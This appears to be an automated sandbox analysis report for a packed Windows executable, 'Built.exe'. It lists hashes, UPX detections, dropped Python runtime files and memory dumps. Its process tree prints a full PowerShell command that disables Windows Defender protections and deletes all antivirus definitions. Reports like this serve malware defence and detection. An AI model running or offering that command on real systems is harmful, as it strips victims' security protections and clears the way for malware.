ba6ab33a11849d2e9603dae27efdedf314c134a5da00e463fdb456d2eb9aef3b

Analysis

max time kernel
2s
max time network
4s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-11-2024 18:04

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General

Target

Built.exe
Size

6.0MB
MD5

bbac0a0ed3093eeff69b3e2cb0c046dc
SHA1

07f5465ec9f0586e273e6f121274a12dd3703c08
SHA256

ba6ab33a11849d2e9603dae27efdedf314c134a5da00e463fdb456d2eb9aef3b
SHA512

9de05a9079ffaf1e546c550e70500625f89be5a4a0f15eb9d331fae7de4ebf652c91567c1d5cb86767cd609160b44587e9d8e24499da0ef3148c630d91c03cbd
SSDEEP

98304:SQEtdFBCIAr6amaHl3Ne4i3gmtfXJOLhx9fZAzDJ4wzQgsRuGK4RpOLP4y+Eyk:SXFIIgTeN/FJMIDJf0gsAGK4R8LP4R3k

Score

7^/10

upx

Malware Config

Signatures

Loads dropped DLL 8 IoCs

pid	Process
2244	Built.exe
2244	Built.exe
2244	Built.exe
2244	Built.exe
2244	Built.exe
2244	Built.exe
2244	Built.exe
2244	Built.exe

UPX packed file 33 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000023cb9-21.dat	upx
behavioral1/memory/2244-25-0x00007FFDEF370000-0x00007FFDEF7DE000-memory.dmp	upx
behavioral1/files/0x0007000000023cac-27.dat	upx
behavioral1/files/0x0007000000023cb7-29.dat	upx
behavioral1/memory/2244-30-0x00007FFDFEB60000-0x00007FFDFEB84000-memory.dmp	upx
behavioral1/files/0x0007000000023cb3-47.dat	upx
behavioral1/memory/2244-48-0x00007FFE07040000-0x00007FFE0704F000-memory.dmp	upx
behavioral1/files/0x0007000000023cb2-46.dat	upx
behavioral1/files/0x0007000000023cb1-45.dat	upx
behavioral1/files/0x0007000000023cb0-44.dat	upx
behavioral1/files/0x0007000000023caf-43.dat	upx
behavioral1/files/0x0007000000023cae-42.dat	upx
behavioral1/files/0x0007000000023cad-41.dat	upx
behavioral1/files/0x0007000000023cab-40.dat	upx
behavioral1/files/0x0007000000023cbe-39.dat	upx
behavioral1/files/0x0007000000023cbd-38.dat	upx
behavioral1/files/0x0007000000023cbc-37.dat	upx
behavioral1/files/0x0007000000023cb8-34.dat	upx
behavioral1/files/0x0007000000023cb6-33.dat	upx
behavioral1/memory/2244-54-0x00007FFDFE960000-0x00007FFDFE98D000-memory.dmp	upx
behavioral1/memory/2244-58-0x00007FFE04000000-0x00007FFE0401F000-memory.dmp	upx
behavioral1/memory/2244-56-0x00007FFE05E40000-0x00007FFE05E59000-memory.dmp	upx
behavioral1/memory/2244-60-0x00007FFDFE700000-0x00007FFDFE871000-memory.dmp	upx
behavioral1/memory/2244-62-0x00007FFDFEB40000-0x00007FFDFEB59000-memory.dmp	upx
behavioral1/memory/2244-66-0x00007FFDFE9D0000-0x00007FFDFE9FE000-memory.dmp	upx
behavioral1/memory/2244-64-0x00007FFE004D0000-0x00007FFE004DD000-memory.dmp	upx
behavioral1/memory/2244-70-0x00007FFDEF370000-0x00007FFDEF7DE000-memory.dmp	upx
behavioral1/files/0x0007000000023cb6-69.dat	upx
behavioral1/memory/2244-71-0x00007FFDFDC50000-0x00007FFDFDD08000-memory.dmp	upx
behavioral1/memory/2244-75-0x00007FFDEEE30000-0x00007FFDEF1A5000-memory.dmp	upx
behavioral1/memory/2244-78-0x00007FFDFFE40000-0x00007FFDFFE4D000-memory.dmp	upx
behavioral1/memory/2244-77-0x00007FFDFE9B0000-0x00007FFDFE9C4000-memory.dmp	upx
behavioral1/memory/2244-76-0x00007FFDFEB60000-0x00007FFDFEB84000-memory.dmp	upx

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3248 wrote to memory of 2244	3248	Built.exe	84
PID 3248 wrote to memory of 2244	3248	Built.exe	84

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3248
- C:\Users\Admin\AppData\Local\Temp\Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Built.exe"
  2⤵
  - Loads dropped DLL
  PID:2244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:3340

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI32482\VCRUNTIME140.dll

Filesize
106KB

MD5
870fea4e961e2fbd00110d3783e529be

SHA1
a948e65c6f73d7da4ffde4e8533c098a00cc7311

SHA256
76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

SHA512
0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\_bz2.pyd

Filesize
46KB

MD5
93fe6d3a67b46370565db12a9969d776

SHA1
ff520df8c24ed8aa6567dd0141ef65c4ea00903b

SHA256
92ec61ca9ac5742e0848a6bbb9b6b4cda8e039e12ab0f17fb9342d082dde471b

SHA512
5c91b56198a8295086c61b4f4e9f16900a7ec43ca4b84e793bc8a3fc8676048cab576e936515bf2971318c7847f1314674b3336fe83b1734f9f70d09615519ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\_ctypes.pyd

Filesize
56KB

MD5
813fc3981cae89a4f93bf7336d3dc5ef

SHA1
daff28bcd155a84e55d2603be07ca57e3934a0de

SHA256
4ac7fb7b354069e71ebf7fcc193c0f99af559010a0ad82a03b49a92deb0f4d06

SHA512
ce93f21b315d96fde96517a7e13f66aa840d4ad1c6e69e68389e235e43581ad543095582ebcb9d2c6dda11c17851b88f5b1ed1d59d354578fe27e7299bbea1cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\_decimal.pyd

Filesize
103KB

MD5
f65d2fed5417feb5fa8c48f106e6caf7

SHA1
9260b1535bb811183c9789c23ddd684a9425ffaa

SHA256
574fe8e01054a5ba07950e41f37e9cf0aea753f20fe1a31f58e19202d1f641d8

SHA512
030502fa4895e0d82c8cce00e78831fc3b2e6d956c8cc3b9fb5e50cb23ef07cd6942949a9f16d02da6908523d9d4ef5f722fb1336d4a80cd944c9f0cb11239ab

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\_hashlib.pyd

Filesize
33KB

MD5
4ae75c47dbdebaa16a596f31b27abd9e

SHA1
a11f963139c715921dedd24bc957ab6d14788c34

SHA256
2308ee238cc849b1110018b211b149d607bf447f4e4c1e61449049eab0cf513d

SHA512
e908fecb52268fac71933e2fdb96e539bdebe4675dfb50065aee26727bac53e07cca862193bcb3ab72d2ae62d660113a47e73e1e16db401480e4d3fd34d54fa8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\_lzma.pyd

Filesize
84KB

MD5
6f810f46f308f7c6ccddca45d8f50039

SHA1
6ee24ff6d1c95ba67e1275bb82b9d539a7f56cea

SHA256
39497259b87038e86c53e7a39a0b5bbbfcebe00b2f045a148041300b31f33b76

SHA512
c692367a26415016e05ebe828309d3ffec290c6d2fd8cc7419d529a51b0beda00ccdc327c9f187ae3ca0cc96336d23d84a8ff95b729c8958b14fb91b6da9e878

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\_queue.pyd

Filesize
24KB

MD5
0e7612fc1a1fad5a829d4e25cfa87c4f

SHA1
3db2d6274ce3dbe3dbb00d799963df8c3046a1d6

SHA256
9f6965eb89bbf60df0c51ef0750bbd0655675110d6c42eca0274d109bd9f18a8

SHA512
52c57996385b9a573e3105efa09fd6fd24561589b032ef2b2ee60a717f4b33713c35989f2265669f980646d673e3c387b30b9fc98033bb8ca7c59ece1c17e517

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\_socket.pyd

Filesize
41KB

MD5
7a31bc84c0385590e5a01c4cbe3865c3

SHA1
77c4121abe6e134660575d9015308e4b76c69d7c

SHA256
5614017765322b81cc57d841b3a63cbdc88678ff605e5d4c8fdbbf8f0ac00f36

SHA512
b80cd51e395a3ce6f345b69243d8fc6c46e2e3828bd0a7e63673a508d889a9905d562cac29f1ed394ccfcda72f2f2e22f675963dd96261c19683b06dea0a0882

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\_sqlite3.pyd

Filesize
48KB

MD5
bb4aa2d11444900c549e201eb1a4cdd6

SHA1
ca3bb6fc64d66deaddd804038ea98002d254c50e

SHA256
f44d80ab16c27ca65da23ae5fda17eb842065f3e956f10126322b2ea3ecdf43f

SHA512
cd3c5704e5d99980109fdc505d39ad5b26a951685e9d8e3fed9e0848cd44e24cc4611669dbdb58acc20f1f4a5c37d5e01d9d965cf6fe74f94da1b29aa2ff6931

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\_ssl.pyd

Filesize
60KB

MD5
081c878324505d643a70efcc5a80a371

SHA1
8bef8336476d8b7c5c9ef71d7b7db4100de32348

SHA256
fcb70b58f94f5b0f9d027999cce25e99ddcc8124e4ddcc521cb5b96a52faaa66

SHA512
c36293b968a2f83705815ef3a207e444eeb7667ad9af61df75e85151f74f2fe0a299b3b1349de0d410bbbaea9f99cac5228189099a221de5fa1e20c97c648e32

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\base_library.zip

Filesize
859KB

MD5
e556d3870457f344c4c7e4d7ece98e0b

SHA1
7755bd0f578e61ede325f7864dc96a933a4bac26

SHA256
a8c2a424b810891e7a2be1463cf25e690d7e7e8d2efcbdcdd0bc94e77b78c710

SHA512
546132f29d7b80ddd5462c56b14ffbf37029b3c17833338d618aa6c88ee1f4667ddc28a83d26fde712ca926530cbfd65966631ba899ec138722bc9f3da70c6d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\blank.aes

Filesize
75KB

MD5
d1eca1104a0294d6ec4542c8f9a04d90

SHA1
e04f6e2bfbf8e9567e65ab90113b2a995486396b

SHA256
95afef152f30842052e75d9f90e3ac688fc756961b83ee7ce013a6b372661b35

SHA512
a3b7ee1738e983298a37892b15c0d76abcc5d27f87e20b4aea39123004da00412c9695715347ddeb40eebfb8ff53091860f2bdcd165af68df47956157faffe63

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\libcrypto-1_1.dll

Filesize
1.1MB

MD5
daa2eed9dceafaef826557ff8a754204

SHA1
27d668af7015843104aa5c20ec6bbd30f673e901

SHA256
4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914

SHA512
7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\libcrypto-1_1.dll

Filesize
704KB

MD5
f49310b15ab70b08889a850a179e973d

SHA1
afbf8eabcadad5b2024ef3951c4350507f30b7d1

SHA256
7264d4b460b69b7b344de5319416ee46fa4594cf2ac3ec31c5db6faf46bbc1ec

SHA512
cdb887642babfbe8324a2292cdb307367331ce34697d3248f0efc8d09bd4c85ec3b710152e4dcbfb35b20c070b57d4c42755e7e9aae9367532eea2addca23de3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\libffi-7.dll

Filesize
23KB

MD5
6f818913fafe8e4df7fedc46131f201f

SHA1
bbb7ba3edbd4783f7f973d97b0b568cc69cadac5

SHA256
3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56

SHA512
5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\libssl-1_1.dll

Filesize
203KB

MD5
eac369b3fde5c6e8955bd0b8e31d0830

SHA1
4bf77158c18fe3a290e44abd2ac1834675de66b4

SHA256
60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c

SHA512
c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\python310.dll

Filesize
1.4MB

MD5
178a0f45fde7db40c238f1340a0c0ec0

SHA1
dcd2d3d14e06da3e8d7dc91a69b5fd785768b5fe

SHA256
9fcb5ad15bd33dd72122a171a5d950e8e47ceda09372f25df828010cde24b8ed

SHA512
4b790046787e57b9414a796838a026b1530f497a75c8e62d62b56f8c16a0cbedbefad3d4be957bc18379f64374d8d3bf62d3c64b53476c7c5005a7355acd2cee

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\rar.exe

Filesize
615KB

MD5
9c223575ae5b9544bc3d69ac6364f75e

SHA1
8a1cb5ee02c742e937febc57609ac312247ba386

SHA256
90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

SHA512
57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\rarreg.key

Filesize
456B

MD5
4531984cad7dacf24c086830068c4abe

SHA1
fa7c8c46677af01a83cf652ef30ba39b2aae14c3

SHA256
58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

SHA512
00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\select.pyd

Filesize
24KB

MD5
666358e0d7752530fc4e074ed7e10e62

SHA1
b9c6215821f5122c5176ce3cf6658c28c22d46ba

SHA256
6615c62fa010bfba5527f5da8af97313a1af986f8564277222a72a1731248841

SHA512
1d3d35c095892562ddd2868fbd08473e48b3bb0cb64ef9ccc5550a06c88dda0d82383a1316b6c5584a49ca28ed1ef1e5ca94ec699a423a001ccd952bd6bd553d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\sqlite3.dll

Filesize
608KB

MD5
bd2819965b59f015ec4233be2c06f0c1

SHA1
cff965068f1659d77be6f4942ca1ada3575ca6e2

SHA256
ab072d20cee82ae925dae78fd41cae7cd6257d14fd867996382a69592091d8ec

SHA512
f7758bd71d2ad236bf3220db0ad26f3866d9977eab311a5912f6e079b59fa918735c852de6dbf7b5fee9e04124bc0cd438c4c71edc0c04309330108ba0085d59

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32482\unicodedata.pyd

Filesize
287KB

MD5
7a462a10aa1495cef8bfca406fb3637e

SHA1
6dcbd46198b89ef3007c76deb42ab10ba4c4cf40

SHA256
459bca991fcb88082d49d22cc6ebffe37381a5bd3efcc77c5a52f7a4bb3184c0

SHA512
d2b7c6997b4bd390257880a6f3336e88d1dd7159049811f8d7c54e3623e9b033e18e8922422869c81de72fc8c10890c173d8a958d192dd03bfc57cffaea1ac7b

Download Submit
memory/2244-62-0x00007FFDFEB40000-0x00007FFDFEB59000-memory.dmp

Filesize
100KB

Download
memory/2244-70-0x00007FFDEF370000-0x00007FFDEF7DE000-memory.dmp

Filesize
4.4MB

Download
memory/2244-54-0x00007FFDFE960000-0x00007FFDFE98D000-memory.dmp

Filesize
180KB

Download
memory/2244-58-0x00007FFE04000000-0x00007FFE0401F000-memory.dmp

Filesize
124KB

Download
memory/2244-56-0x00007FFE05E40000-0x00007FFE05E59000-memory.dmp

Filesize
100KB

Download
memory/2244-60-0x00007FFDFE700000-0x00007FFDFE871000-memory.dmp

Filesize
1.4MB

Download
memory/2244-48-0x00007FFE07040000-0x00007FFE0704F000-memory.dmp

Filesize
60KB

Download
memory/2244-66-0x00007FFDFE9D0000-0x00007FFDFE9FE000-memory.dmp

Filesize
184KB

Download
memory/2244-64-0x00007FFE004D0000-0x00007FFE004DD000-memory.dmp

Filesize
52KB

Download
memory/2244-30-0x00007FFDFEB60000-0x00007FFDFEB84000-memory.dmp

Filesize
144KB

Download
memory/2244-25-0x00007FFDEF370000-0x00007FFDEF7DE000-memory.dmp

Filesize
4.4MB

Download
memory/2244-71-0x00007FFDFDC50000-0x00007FFDFDD08000-memory.dmp

Filesize
736KB

Download
memory/2244-72-0x000001B1A2710000-0x000001B1A2A85000-memory.dmp

Filesize
3.5MB

Download
memory/2244-75-0x00007FFDEEE30000-0x00007FFDEF1A5000-memory.dmp

Filesize
3.5MB

Download
memory/2244-78-0x00007FFDFFE40000-0x00007FFDFFE4D000-memory.dmp

Filesize
52KB

Download
memory/2244-77-0x00007FFDFE9B0000-0x00007FFDFE9C4000-memory.dmp

Filesize
80KB

Download
memory/2244-76-0x00007FFDFEB60000-0x00007FFDFEB84000-memory.dmp

Filesize
144KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads